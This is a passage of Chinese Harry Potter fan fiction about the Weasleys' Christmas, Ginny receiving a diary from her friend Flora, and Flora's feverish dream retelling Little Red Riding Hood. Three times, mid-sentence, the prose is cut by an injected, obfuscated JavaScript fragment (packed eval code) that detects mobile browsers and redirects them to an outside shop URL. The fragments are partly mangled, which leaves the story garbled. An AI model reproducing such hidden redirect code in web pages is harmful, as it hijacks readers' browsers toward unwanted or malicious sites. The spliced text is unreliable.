“金妮,下楼吃饭了!”莫莉不知疲倦地敲着门,对待孩子她总是精力充沛,催促道,“罗恩已经在楼下了。” “······好的,妈妈。”金妮在床上打了个滚,“我已经起来了。” 但金妮等不到莫莉的回答了,因为她听到了莫莉今天的第二声尖叫,以及一阵快步的下楼声。 “罗恩,放下那个鸡腿!!!” 可怜的罗恩。金妮闭上眼,脑子还在思考。 ——难道罗恩在霍格沃兹还没吃够吗? 韦斯莱一家兵荒马乱的一天就这样普通地开始了。 金妮没什么精神的坐在餐桌的左边,对面是恹恹拿着餐具的罗恩;弗雷德和乔治此刻很是乖巧地坐在金妮旁边;珀西大清早就起了床,据说是为了复习猫头鹰考试;比尔还在为了找工作而努力,听说今天还有面试很早就离开了家;查理昨天晚上才风尘仆仆地回家,现在还躺在房间里昏睡。 莫莉叹了口气,孩子们接连长大的同时,除了欣慰,她也不禁感到力不从心。坐在她旁边的丈夫——亚瑟·韦斯莱一边单手拿着报纸,眉宇夹起了一个鼓包,一边正把吐司送进嘴里。 莫莉又叹了一口气,她折返回了厨房,拿出她煮好的咖啡——亚瑟早晨缺不了咖啡,她一直为自己操持好了这样偌大一个家庭而感到自豪。 但是偶尔,看着自己脸上不知何时爬上的皱纹和满是茧子的手,她也会感叹时间的残酷。每天的生活似乎都没什么太大变化,一如每天清晨煮的咖啡一样一成不变。这样消极的想法很快随着弗雷德和乔治的打闹消失了,莫莉不得不再一次提起声音,教训这对淘气的双胞胎在餐桌上保持安静。 “圣诞节快乐,孩子们。”亚瑟终于放下了报纸,眉眼处积攒的阴沉在他开朗的笑容中烟消云散,他宽容地看着双胞胎,抬手制止了莫莉的进一步责骂,并冲孩子们挤眉弄眼道:“大清早就这么热闹是件好事。我想你们已经准备好迎接圣诞节了?” 回答他的是韦斯莱家孩子们一致的欢呼声。 金妮自然是很期待圣诞节的。没有小孩会讨厌圣诞节,毕竟这是一个承载了诸多欢乐和幸福的节日,主要是还能收到家人和朋友的礼物。 她拿起牛奶喝了一口,对于这种珍贵的东西,她喜欢小口地喝完——只不过,她衷心希望芙罗拉今年的圣诞礼物能稍微正常点,至少能不要是那种根本不能发挥用处的物品。 比如道坎斯家的墨水。 好消息是,今天预言家日报报道了道坎斯家墨水店的倒闭,她再也不用担心收到一个几乎没有用处的墨水了。 坏消息是,弗雷德和乔治这两个恶作剧大王根本没有停下来的意思,求他们别去祸害远在霍格沃兹的芙罗拉了。不然她会认真地考虑兄妹关系这件事。 就从不带他们一起恶作剧开始。 嘿嘿。 “噢,金妮,在霍格沃兹的生活怎么样?”亚瑟对他家最小的孩子,还是女孩子问。 “挺好的,爸爸。”金妮说,“麦格教授比较严肃,不过她可以变成猫。爸爸,我也想要一只猫。” 亚瑟微笑着摸了摸女儿的头,并没有告诉她一只猫将花费韦斯莱家多少个月的生活费,他只是对他的小女儿说,“那斑斑可就危险了。” 埋首于早饭的罗恩抬起头,“呃”了一声,“事实上,斑斑最近可能有些······”他犹豫了一下,“躁动。不知道它又跑到哪里去了。” “是吗?”亚瑟若有所思,“看来斑斑也老了,需要一个清净的地方休息。” 金妮对这番话没什么感触,对她来说,斑斑毕竟只是一只老鼠,只是生活在他们家,就像一个寄宿的流浪汉,不用付一分钱就能享受安稳的生活。 但只要是老鼠,生命总是短暂的。或许她还在读书时,也能有机会拥有一只自己的猫。 千万不要老鼠当她的宠物,罗恩已经被狠狠嘲笑过了。也不要是蟾蜍,那很奇怪。 也不一定要是猫,或许等家里的小猪——那只笨手笨脚的猫头鹰不能飞了后,她能有一只猫头鹰呢。 “对了,芙罗拉那孩子今年也还是不过来吗?”莫莉问,她正在收拾餐桌。 金妮摇头。 莫莉不赞同地叉腰,活像是要狠狠教训谁一样埋怨地说:“我早知道她爸爸是个不靠谱的人,自从罗宾死去之后,他就天天把自己灌在酒里——没人告诉他养活一个孩子是多么艰难的事,全靠那孩子自己的努力。”想到这,她脸气得通红,“今天可是圣诞节,一家团聚的日子。如果他今天还是在破釜酒吧醉生梦死,”她恶狠狠地说,“我非得去骂他一顿不可。” 亚瑟安慰了一番愤怒的妻子,悄悄对孩子们说:“礼物就放在圣诞树下,那可是我和你们妈妈精心挑选的。” 双胞胎第一个下了楼。 金妮跑回了楼上,虽然罗恩说吃饱了就睡很容易长胖,但她真的很困,再说罗恩自己也经常吃饱了就睡。难怪待在霍格沃兹后,他的体重严重超标了。 有人说过睡觉是世界上最幸福的事吗? 反正躺在被窝里的金妮觉得很幸福。 睡到真的不能让她再睡时,也才不过早上九点,她被像是地震一样的声音弄醒了,睁开眼就看到一只熟悉的猫头鹰用喙磕着并不坚硬的窗户,还没等金妮伸手打开它,那只猫头鹰就聪明地自己打开了。她嘴里衔着一封信,利爪一松,一个长条的礼物盒就被她放了下来。金妮手忙脚乱地接住礼物,她的反应力很快,并没有发生没接住礼物的囧况。 但她还是抱怨了一句。“芙罗拉把你宠坏了,罗宾。小猪有时候都不会像你这么粗鲁哦。” 罗宾接连叫了几声,听起来似乎是在骂她。 唉,这年头连猫头鹰都有脾气,但她却连睡到中午都做不到。妈妈的喊声还在继续。 “金妮——” “知道了妈妈。”金妮用尽力气说,“我马上下来——要拿什么来着?” 送完信的罗宾甚至腿都没放下来过,马不停蹄就扑闪着翅膀离开了陋居,金妮甚至都还没找到些什么吃食来讨好下这只不好惹的猫头鹰,就只能看见她头也不回离开的飞翔背影。 “······” “金妮——” “我知道了妈妈!” 从金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201280|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妮自己的房间跑到楼上的杂物间不是多麻烦的事,但在魔法的世界,一个“扫帚飞来”就能解决不必要的时间浪费。所以金妮实在不明白妈妈为什么不用一个飞来咒,可惜那一点点每天都会恢复的魔力吗? 尽管这么想,金妮把芙罗拉的礼物和信一起揣进了兜里,还是立马就跑到了杂物间,再从楼上跑到楼下,把扫帚递给莫莉。莫莉鼓励地看了她一眼,给了她一块甜点作为奖励。 吃着新鲜出炉的曲奇,金妮坐在沙发上,信和礼物被她拿在手里,她在犹豫应该先打开哪个好。终于睡醒的查理脚步虚浮地到了楼下,左脸上还有青紫的痕迹,他随便拿把椅子坐下,顺手也吃了块曲奇,脸上的动作牵动了伤口,疼得他倒吸一口气。 莫莉心疼地给他拿了冰块,这时她倒是用上了飞来咒。 “看来驯龙师也不是那么好当的。”金妮吃完了饼干,看着查理郁闷的表情,嘲笑他:“你是被龙揍了吗?” “嘿!”顾及着伤口,查理尽量只保持嘴巴说话的动作,“那只挪威脊背龙真的很凶。罗恩也知道。” 还在拆礼物的罗恩咂咂嘴,明显不赞同查理的话,“诺伯在霍格沃兹可乖了。” 诺伯。金妮想,霍格沃兹的龙,她倒是从来没听罗恩说过。 “那是他还小,你不知道,他现在已经大成小山了。”查理解释说,脸上浮现出诡异的慈爱和欣慰,“还是我亲手把他养到这么大的呢!” 金妮摸了一把手臂上的鸡皮疙瘩,默默离他们远了些,查理一提到龙就像被夺舍了一样激动,还是把他那些已经老掉牙的驯龙故事留给罗恩去听吧——在他留在霍格沃兹的第一学年,受折磨的可都是金妮。 “瞧,金妮,你把饼干碎屑都吃到地上了。”莫莉不赞同地看着她,“虽然这话对你来说还早的很,但你以后要是嫁人了,你不会想知道清洁这些有多烦人。” “知道了妈妈。”金妮有气无力地说,然后眼睛瞟向窗外弗雷德和乔治打魁地奇的场景,问:“那我清理完可以去打魁地奇吗?” “不行。”莫莉语气严厉地拒绝了她。 金妮翻了个白眼,她都能猜到妈妈接下来能说什么,无非就是—— “那对你来说太危险了。” 好极了,一字不差。她可真是妈妈心里的蛔虫。还是让她回去拆下芙罗拉送给她的礼物,至少她每年送的礼物都有别样的惊奇感。 ······不,还是先拆信吧。不可能一封信会产生什么意外。 不能吧。 金妮又返回到了楼上自己的房间,还是待在自己的房间有安全感。她拆开信,逐字逐句读了起来。 【亲爱的金妮, 圣诞节快乐!给你写这封信的同时我正在帮忙装饰霍格沃兹,难以置信我竟然真的看见了戴着红帽子,穿着红袍子的邓布利多——这件事说来话长。这期间我遇见了一个性格有些奇怪的女孩,她叫做卢娜·洛夫古德,来自拉文克劳。我总觉得你们两说不定会合得来,她身上有些地方让我很熟悉。 至于礼物的方面,我真的不是故意选择那些你不喜欢的东西。我没想到预言家日报那么不靠谱——我现在懂那句“收到后忍不住哭泣”是什么意思了,虽然不奢求你的原谅,但还请收下我的道歉。至于弗雷德和乔治,他们对家人原来也会恶作剧吗? 今年的礼物是我在经过深思熟虑后决定送给你的。我注意到这个学期你有一些小小的秘密在瞒着我。嘘,先别急着解释。不管发生什么,我都相信你。 只要你需要我,我就一定会在。 希望你喜欢礼物的芙罗拉·霍普】 金妮把这封信翻来覆去看了两遍。然后拆开那个相对长条的礼物。虽然她心里已经有了猜测,但事情真的发生的时候,她突然有了一种活在云端的梦幻感。 芙罗拉竟然送了她一本日记本。 23. 第 23 章 巫师世界虽然并不相信科学一类麻瓜们奉若圭臬的规则,但治疗师们通常对此持有开放的意见。尤其是在一些并不好完美验证的研究上,他们偶尔也会放下偏见,从麻瓜医生上学习些什么。 比如说,心理问题很大程度确实会反映在身体状况上。 “你现在的样子看起来就像每天离不开药的那种人。”洛夫古德说,样子非常平静,嘴角带着淡淡的笑意。芙罗拉一时没能搞清她到底是在开玩笑,还是在陈述事实。 她咳嗽了几声,声音闷闷的,“有些不舒服,没关系。下一个地方就是医务室了,我会找庞弗雷夫人拿些治疗药剂的。” 粗略估量了一下自己的情况,头像是在太阳下晒了几个钟头,视野有些模糊,不过身体还有些力气,也不至于睁不开眼,说话时有被粗糙东西磨住的不痛快感,伴随着几声时不时的咳嗽。芙罗拉猜测自己身上有些小感冒,并不严重,是不至于连完成最后一个任务都有十足困难的程度。 那么,既然还有余力,还是不要把本该留给自己的工作交给别人比较好。 “好吧。”洛夫古德点头,突然又想到什么,对着一团空气说,“真不敢相信明天就是圣诞节,我要是圣诞老人就好了,可以骑着麋鹿到处飞,还可以爬进烟囱里面——” 她似乎陷入了自己的畅想,发出了一声叹息,“这一点真让人可惜,但又可以一直听到格雷女士的抱怨,就像听笑话一样,我可以带几块巧克力去偷听······” 说到这,她那充满灵气的眼睛突然对准芙罗拉,对她说,话题转换速度让芙罗拉有些惊奇,“我像毒药一样让人上瘾。人越接近我,我就越强大。人越想要我,就越接近死亡。需要我的人爱我如上帝,憎恶我的人避我如蛇蝎——我是什么?” “什么?”芙罗拉下意识说。 洛夫古德耸着肩说,“一个谜题。拉文克劳塔楼的入口处有一枚青铜鹰形的门环,你只有回答他的谜题才能进去。你不会不知道我们的公共休息室在拉文克劳塔楼?”她飞快地眨眼,“上次门环不太满意我的回答,大嚷着说‘普通,这太普通了’,他很像分院帽,很有一种亲切感,对吗?” 芙罗拉不敢苟同。考虑到帽子的破旧,难道分院帽不是更像一个神神叨叨的老头吗? “好吧,看来你不是很喜欢帽子。”洛夫古德说,仿佛能看穿芙罗拉的内心。她继续问,“如果你回答这个问题,你会怎么说呢?” “噢,顺带一提,”她一字一句地说,“‘我的答案是好奇。那句话怎么说的,九条命都挡不住好奇。你觉得呢?” “有道理。”芙罗拉若有所思地说,“我觉得是——谎言?不,比起谎言,更像是——咳咳”不知怎么,尽管走廊上甚至还有些闷热,芙罗拉就是觉得有寒风溜进了她的喉咙。 “——疯狂?”她皱着眉说。 洛夫古德做出思考的神情,过了几秒,她打了个响指,“有趣的答案。我开始喜欢你了,小花。” “小花?”芙罗拉不解地问,“为什么这么叫我?” “‘欢迎你,让我在北方的迷雾中成为你的珍宝’。”洛夫古德欢快地说,“罗马神话里的花神就叫芙罗拉。我喜欢这个名字。” “前面那句话是?” 洛夫古德苦恼地垂下头,“那是一个画家对芙罗拉的祝福。给你起这个名字的人一定很爱你——我们到医务室了。你看起来离死亡只差临门一脚,你会觉得我说得很夸张吗?” “事实上,我对我自己的身体状况很清楚。用夸张来形容你这句话再正确不过。”芙罗拉捏了捏手指上的汗,推开了医务室的门。洛夫古德跟在她旁边,跟她差了几秒进来,她环顾四周,芙罗拉第一次看她露出明显不高兴的表情。 “真糟糕,庞弗雷夫人似乎不在这。”洛夫古德皱眉说,声音轻飘飘的。 芙罗拉摇摇头,“没关系。我知道麦格教授需要的魔法药剂长什么样。” “唔,我不是指这个。”洛夫古德难过地说,“如果你死在这里的话,我会每天摘最新鲜的花送到你的墓碑前。也许我现在就出去找庞弗雷夫人的话还来得及。” “不,这只是小感冒。请不要自说自话就把事情拉到死亡这个高度。”芙罗拉打开医务室拜访药剂的柜子,很快就拿出了颜色各异的魔药,她在瓶瓶罐罐里拿出了一瓶粉红色的魔药,并拿到洛夫古德面前晃了晃,“这是活力滋补剂,吃了它我就会没事的。” “可是——” “我的身体不太好,一旦生病脸色就会很难看。”芙罗拉打断她,解释说,“相信我。当你的身体每天都冲你发出警告时,你也会对如何缓解痛苦有一套自己的方案。接下来这些魔药就麻烦你交给斯内普教授了,我实在是不太想见到他。” “好吧。”洛夫古德不情愿地接过了药水,“你会没事的。我相信你。” 芙罗拉回应了她一个鼓励的微笑。 送走了明显存有疑虑的洛夫古德,芙罗拉松了一口气。她没有欺骗洛夫古德,她对自己的身体情况了如指掌,在她立志成为一个治疗医师后,明白在什么情况下能做,什么情况下不能做,这理应是基础中的基础。所以,洛夫古德确实没有必要担心。 庞弗雷夫人不在医务室,芙罗拉也清楚这一点——这几天趁学生们都回家了,她便跑去圣芒戈帮忙了。圣芒戈这几天总是很忙,总有巫师希望能在圣诞节搞出不愉快的事情——这让她躲离了夫人关切的责问。谢天谢地,她真不想碰见这种情况。 芙罗拉狠狠咬住牙齿。本来是想在学校没什么人的时候去找密室和石化有关的信息。 但现在,她打开装着活力滋补剂的瓶子,放到唇间,感受到酸味夹杂着苦味的液体滑过舌尖,再一路往下,热度一下子像炸开的棉花糖迅速膨胀,身体的温度逐渐上升。虽然如此,芙罗拉苦着脸想,不管喝多少次,她都无法习惯这样古怪的味道,像是鼻涕虫和屎味巧克力的结合体,真希望她以后能制作一款绝对甜味的药剂。就像比比豆那样可以有多种不同的口味。 眼皮缓缓下沉,就像泡在暖阳一般舒适,困意涌上心头,芙罗拉就着病床,拉上了雪白的帘布,这让她容易想起圣芒戈的病房。奇怪的是,她分明也已经不太记得以前到底为什么每天都待在圣芒戈了,到底是因为什么呢? 到底是为什么,导致身体会不好呢? 她闭上了眼睛,陷入了沉沉梦乡。 * 哎呀——你是? 素未蒙面的客人?可真是少见。你看起来简直价值不菲,原来如此,只是因为无聊才到访于此吗? 我也无聊透顶了呢。什么——想听我说几句?没问题哦,我可是积攒了一箩筐的故事。 你很有兴趣吗? 呵呵,真让人高兴。 接下来我要讲述的故事——是关于一个叫做芙罗拉的,少女的故事。 芙罗拉知道自己是一只叫做芙罗拉的狼。狼一般是一种群居动物,但现在只有她一个人蛰伏在草丛里。她饥肠辘辘,饿得能吃下好几头牛。 显而易见,她知道自己正在捕猎,这么多天来她头一回碰到这么好的机会——一个叫做小红帽的蠢女孩要来看望她身体不好的外婆,在芙罗拉潜伏着的贫穷村落,那个女孩跟她妈妈大吵了一架,决心要离家出走,逃到偏远寂静的外婆家躲上几天。 多么好的机会!! ——但是,她恶狠狠地瞪着那个徘徊在外婆屋子外的兔子猎人,在那只兔子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201281|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不见的地方冲他咬牙切齿。 哈,兔子。她不无怨恨地想,迟早有一天吃了你。 她想到自己现在独自捕猎的结果,不禁狠狠拍了下坚硬的土地,疼得她掌心发麻。 原本,芙罗拉的生活理应是平静而安稳的。狼族部落建在高高的群山之巅,那里是没有争端、没有战争的平和之地。虽然并不是每天都能饱餐一顿,但却有在阳光下扇动着金色翅膀的蝴蝶盘旋在花野间。在那里,太阳永远不会落下,每个人都能平等地接受神的祝福与馈赠。在绿色的山崖,族人们会放声高喊,庆祝每一次捕猎胜利。 芙罗拉便与妈妈生活在这样一个仿佛永远都会幸福下去的地方,听着每一声似乎不会停止下来的嚎叫。 是的。她开始这样想象。不会有任何东西能阻止这样的美好,这里是没有冬天的乐园,是渺远的寂静之林,她会在这里与妈妈一直生活下去,直到生命的终结—— “她、她疯了!!!” 欸? “她带了什么人回来?快看她、她的脸!!多么肮脏丑陋!!” ——欸? “这是神的怒火!!快杀了这个女人,否则、否则神也会驱逐我们的!!!” ···········欸? 被一双手轻柔地捂住了眼睛,周围是足够让她们消失在世界上的无尽热度。妈妈的声音在耳边虚弱地回响。 “——不要看。” “······妈妈?” 是血。作为狼,芙罗拉是很清楚这一点的。这是浓郁到仿佛整个人浸泡在血里,令人作呕的味道,是哪怕拼命屏住呼吸,也无法不去在意的气味。 “把他们驱逐出去,就让他们在外面自生自灭吧。你的罪过,我们无法宽恕。” ——罪过? 在太阳之下,已过七旬的狼族部长挺着背,举起代表了部落正义的手杖,高声宣判了她的罪行。 “带来一个身负诅咒的外乡人,你是想害死我们所有人吗?离去吧,这里早已不是你的安身之所。” 一直坚定地放在她眼前的手仿佛终于支撑不住的垂下,从那了无生机的胳膊上,流出细流一般汩汩的血水,在往上看,是一张面目全非的脸,那是一张有如□□一般黏皱的皮肤和凸起的密麻疙瘩组合起来的怪物的脸庞。 可是怪物的声音却温柔地就像飞舞着的金色蝴蝶。 “别怕,芙罗拉。” 是妈妈吗? 她往下看,看到被无数利爪贯穿的胸膛。全身上下,她已无一处称得上完整,已无一处能看出来原本的模样。金色蝴蝶被粗暴地抓在爪下,翅膀正发出濒死的哭嚎。一滩血水在她的身下不断扩张,与另一滩血水交融,印出了那可怖的容颜。 芙罗拉惊恐地看向不远处,那已不能称作是一具尸体,用残躯来形容也不尽合适,那是被撕成肉块,仍然泛着新鲜血丝,看不出原本形状的东西,皮被剥成碎纸一样,留下炭烤的痕迹。 那是—— 那是妈妈在森林救助下来的濒死的外乡人。 却为她们带来了疫病和诅咒。 “我知道了。”像马上要绷断的珠链,妈妈说。 她们,还能去哪?狼群离开了她们,留下了血和肉块。芙罗拉和妈妈搀扶着彼此,在山脚处停了许久,就那么遥望着群山之巅,离开了部落。 离开部落后,她们在外面寻觅了许久,妈妈学会了如何伪装自己的面容。她们来到了由兔子主宰的社会。 兔子,都是一群胆小的群居生物。 她们对兔子没有恶意,只是想找个安身之所。 某一天,妈妈被发现了身份。 于是兔子举起枪,干脆利落地杀了妈妈。 24. 第 24 章 ······嗯? 你想说什么吗? 不,这并不是我的故事。 是吗?是什么让你产生了这样的错觉?我并不介意如此想我,这可不是什么需要为此道歉的大事。 ······请千万不要坐立难安。我真的不介意。 故事还有后半段,在这个梦结束之前,我想还来得及讲完。你还想听下去吗? 这样吗?感谢你。 请让我继续讲下去吧。 嘶——用力太猛了! 芙罗拉抬起爪子缓了缓疼痛,就在刚刚,她想到一个绝妙的主意能让她饱餐一顿。村子里的人都说木屋里面的那个老太婆不仅身体不好,眼神看起来也不太行的样子,她可以趁猎人不注意先把外婆吃掉,再伪装成外婆的样子等小红帽上钩。 简直是一石二鸟、天衣无缝的完美计划! 她趴在一团草丛后,眼睛紧盯着兔子猎人,那猎人正值中年,精气神大不如前,每当中午太阳毒辣地出现,他就急急忙忙地找个阴处,席地而坐,猎枪依旧被他紧紧攥在手心,恨不得把手和猎枪从出生开始就是一体的。但这抵不过袭来的困意,到那时,他的注意力便也大不如前。 机会。而芙罗拉会静静地等待太阳,就像等待希望一样。 几个小时很快过去了,兔子猎人的警惕心在长久的等待中消磨殆尽,他很快找了个阴处,大剌剌坐在那,但他还没有让自己完全放松下来,作为一名猎人,他的肌肉仍然随时准备暴起。 但这不会持续太久。 芙罗拉慢慢支起后腿,长久没有活动的身体此刻仿佛被针灸扎了一样酸痛,但潜藏在身体里磅礴的细胞活络起来,它们叫着、吼着,以至于芙罗拉想要不顾一切冲出去咬断猎人的脖子,光是想象那不可置信的小眼睛流露出来的深深恐惧,她感觉自己的皮毛都要舒展开来。但不行,猎人手上还握着他最大的武器,他长久训练的反应力也不是逊的,也许只需要芙罗拉冲出去的一秒,他就能立刻咧开嘴庆祝自己得来全不费工夫的美味午餐。 不能冲动。妈妈的教训还历历在目。芙罗拉屏住呼吸,慢慢朝那栋隐藏在树林的木屋走去。她不会让任何人发现一匹狼潜藏进了一个老太太的家,因为她会神不知鬼不觉地一口吞掉那个老太太! 好极了。木屋近在眼前,她眼睛一转,那个该死的兔子猎人依旧背靠着大树,手指不断地摩挲着,看得出来他甚至想在这片安静的树林里惬意地抽一根烟,你不能说他没有警惕心。芙罗拉非常了解这些狡猾的兔子,他们只是在伪装成一副好欺负的样子,事实上却比任何生物都要邪恶百倍。 在进去之前,芙罗拉动了动鼻子,空气中充盈着一股甜腻腻的气味,她一时竟无从判断这是什么味道。但是什么味道也已经无所谓了,她下定决心,后腿一蹬,灵活的身体从窗台跳了进去。一个高瘦的背影就那么出现在她眼前,那一头银白的头发非常之长,长得都可以塞进她的腰带里,芙罗拉猜测这老太太一定已经很老了。她穿着一件拖地的红色斗篷,脑袋上还戴了一个滑稽的红色尖顶帽,然后——芙罗拉眼睁睁看着她转过身来,天呐,她的鼻子又长又弯,活像至少被打断过两次那样——那根本不像是个老女人的模样,这压根就是个男人!他甚至还有长得吓人的白胡子! 一瞬间,芙罗拉竟然萌生了后退的念头,她龇着牙试图恐吓这位老人,忘记了她原先要一口吞的计划。那位老人有一双清澈明亮的蓝眼睛,在半月形的镜片后闪着点点光芒。老人冲芙罗拉招了招手,声音苍老沉稳,“到这来,孩子。” 哈!你让我过去我就过去?芙罗拉不屑地想,你以为你是谁,马上就是我的盘中餐了。 虽然这样想,芙罗拉还是慢慢抬起腿靠近老人。没办法,总这么僵持在这里对谁都没有好处,她总不能在十步以外的地方把这不知是男是女的老人吃掉。 “孩子,你看起来受了很多苦。”老人的声音虽然缓慢,却带着不容置疑的意味。芙罗拉一听到他这么说,立马亮出两颗示威的尖利牙齿对着他。 老人微笑着看着她,往旁边走了几步,芙罗拉觉得他可真是奇怪,一般人看到一匹狼就这么大剌剌站在他面前早就吓傻了,高低也得大呼求救好一顿折腾。可面前这老人怎么回事,不仅一副不害怕的样子,还能闲庭信步的像是在自家花园里逛街一样。他看芙罗拉一直用那双硕大的灰眼睛盯着他,微笑不语,只是用干瘪枯槁的手指往左边一指,示意她看向那边。 芙罗拉照做了,很不情愿的。她也不知道怎么回事,一跟那眼睛对上就情不自禁地认为他是对的。他身上有种冷酷的人格魅力,仿佛历经千帆过后的平稳海面,理智而仁慈。芙罗拉顺着他手指的方向看去,那像是一张木头桌子,桌子上还摆放着几个盘子,盘子里装着各式各样奇形怪状的糖果和饼干。芙罗拉使劲用鼻子嗅了嗅,发现空气里那甜香味正是由桌上那堆糖果和饼干发出来的。她喉头一紧,艰难地抑制住那受到勾引后不断攀升的饥饿感,但口腔内分泌出的生理性唾沫根本不容她拒绝地逃出来。 这老人怎么回事,他有病吧?!芙罗拉怒了,恶向胆边生,后腿已经在蓄力,就等着跳到老人边上咬断他的脖子。还没等她把这个想法付诸于现实,那老人突然就举起一盘饼干,像逗狗一样拿了一块饼干放在她眼前晃了晃,“来一起吃吗?” 难以置信,芙罗拉原本应该非常生气,为这老人的大胆,或者别的一些什么东西而立刻吃了他。但她没有,不仅没有,她还像只真正的狗一样乖顺地走了过去,叼起了那块饼干,与那位不可思议的老人享受起了一个本不可能拥有下午茶的下午。 “我的孙女就跟你差不多大。”老人说,“她下午就会来看我,你们一定能成为好朋友。” 得了吧。要不是她还在抱着那饼干啃,她肯定要朝老人翻个大大的白眼。 “怎么可能,没有人会跟怪物做朋友!” “哦?你是这样想的?你认为自己是怪物吗?” “一看就知道了吧。”沉默了一会,芙罗拉说,“小——你的那个孙女,肯定会被我吓到的。我不知道你为什么表现得这么奇怪——算了,谢谢你的饼干,我马上就会离开的。” 想了想,芙罗拉还是有点不服气,补充了一句,“对了,我说那个待在你屋子旁的猎人,我看他根本一点都不靠谱,现在也不知道到哪个地方去睡大觉了。说不定他心怀不轨,不然为什么一直在你屋子旁转悠——” 其实也不知道自己在说什么,逻辑到底通不通顺,但就是想说话,想把那种不安的愧疚压回心里原来的位置,那几乎从来不会被察觉的深处。 然而,一道稚嫩的少女的少女打断了她。 “外婆!你在家吗?我带了蛋糕和葡萄酒来看你!!我直接开门咯!!” 不——好歹等一下啊!!芙罗拉引以为傲的速度在这一刻毫无作用,那门在她眼里就像漏风的纸窗一样直接被打开。根本不允许她有丝毫反应拒绝一样,那个戴着红色帽子的小女孩就那么兴高采烈地进来,一眼就看见了她那跟外婆毫无关系的外婆,热情地就要跳起来扑到他怀里。但等等,她脸往旁边一转,不确定地瞪大了眼睛,芙罗拉没有反抗地等了她几秒。几秒后,她终于意识到自己看到了什么后—— “啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!!” 芙罗拉最讨厌小女孩的尖叫声了!她试图轻蔑地看向老人,表示他之前说“你们一定能成为好朋友”的话的不屑。瞧瞧吧,看那脸上还有着不明显的雀斑的女孩噙着眼泪的可怜模样,她一定是被芙罗拉这副怪物的面容吓到了。可怜的小红帽,要怪就怪她那古怪的外婆吧。她就说,没有人在看见她时会那么冷静,还给她送上了美味的曲奇饼干。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201282|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哼,”芙罗拉冷笑一声,“没见识的小女孩。别哭了,你是水壶做的吗?我马上就离开,不会吃了你的。喂,你干嘛?你走过来干嘛?喂?!” 小女孩把嘴一撇,以迅雷不及掩耳的速度飞快地从她爪下抢走了她的小饼干,并死死就攥住那么一块已经快被芙罗拉吃得差不多的饼干,委屈地说:“这是我的小甜饼。” “哈?!”这人有病吧?! 也许是芙罗拉的眼神刺痛了小红帽,她不服气地鼓起脸颊,“这是外婆给我做的小甜饼。我每次离——到外婆这里都会有的。只有小甜饼,绝对不会让给你的!” 谁要跟你抢啊!!芙罗拉也是服了这对外婆和孙女,但又看着小红帽眼泪都在眼眶里打转的可怜模样······她啧了一声。要不是她吃饼干已经填饱了肚子……小红帽早就进了她的肚子。 老人——芙罗拉仍然不敢相信他是个外婆,恐怕小红帽得眼瞎了才能那么坚定地认为这外婆是个女人——朝她们两走过来,那双大手摸了摸她们的头发,温柔地就像妈妈的抚摸。 “不介意的话,不如继续我们的下午茶?”老人笑着问。 也不知道这家人做了些什么,当他们笑的时候,当他们说话的时候,芙罗拉感觉心就像融化了一样。 这,这该不会是什么邪恶的黑魔法吧?!! 手臂被戳了戳,芙罗拉面无表情地朝主人看去,就被她看了那么一眼,小红帽怯生生地肩膀一缩,问:“有没有人说你看人的时候很凶啊?” “见过我的人都死了。”芙罗拉面不改色地说。 “那看来我还挺幸运。”小红帽根本没意识到这话里的险恶,只是独自开朗地嚼了一口饼干,继续说,“那你是一个人到这里的吗?你看的脸,还有身体——是被什么东西感染了吗?我差点把你看成了一只狼。” “什么?”芙罗拉紧皱着眉,“你刚刚说什么?” “嗯?”小红帽不解地回看她,“你被什么东西感染了?” “最后一句话。”芙罗拉急切地问,“那是什么意思?” “就是字面意思啊。”小红帽的疑惑看起来快要具象化了,她重复,“我说‘我差点把你看成了一只狼’,你不会因为这点跟我生气吧。” “我——是狼······” “你在说什么?你是人啊。我觉得你肯定是生病了。” “我——是人?” 【“她疯了。”】 “我是——人?” 你的表情,看着很糟糕呢。 问我怎么看出来的?这不是显而易见吗? 为什么不继续讲了?哎呀,这个问题——真遗憾,你也意识到了吧,这个梦就要结束了。看,那个木屋已经开始倒塌了,树也快要被烧光了呢。 我的名字? 告诉你也没关系。我很期待下一次的见面,你会带黄油啤酒来吗?什么,你觉得我还太小了? 别这样,我会哭给你看的哦。 开个玩笑。 ——罗宾。 我的名字。 芙罗拉猛然坐起来,大口呼吸着,摸了摸头,才发现自己早已一身冷汗。她一把拉开门帘,看见了窗外的沉沉夜色。夜晚温柔地平息着她不知从何而来的恐惧。她刚刚似乎是做了个噩梦,梦见了一身红色的邓布利多和那个麻瓜童话里的小红帽,小红帽还长着一副金妮的样子。但具体梦到了什么,她是再也想不起来更多。冷汗涔涔,她迟来地起了一身鸡皮疙瘩,恍然发觉自己处于现实中才慢慢呼出一口气。 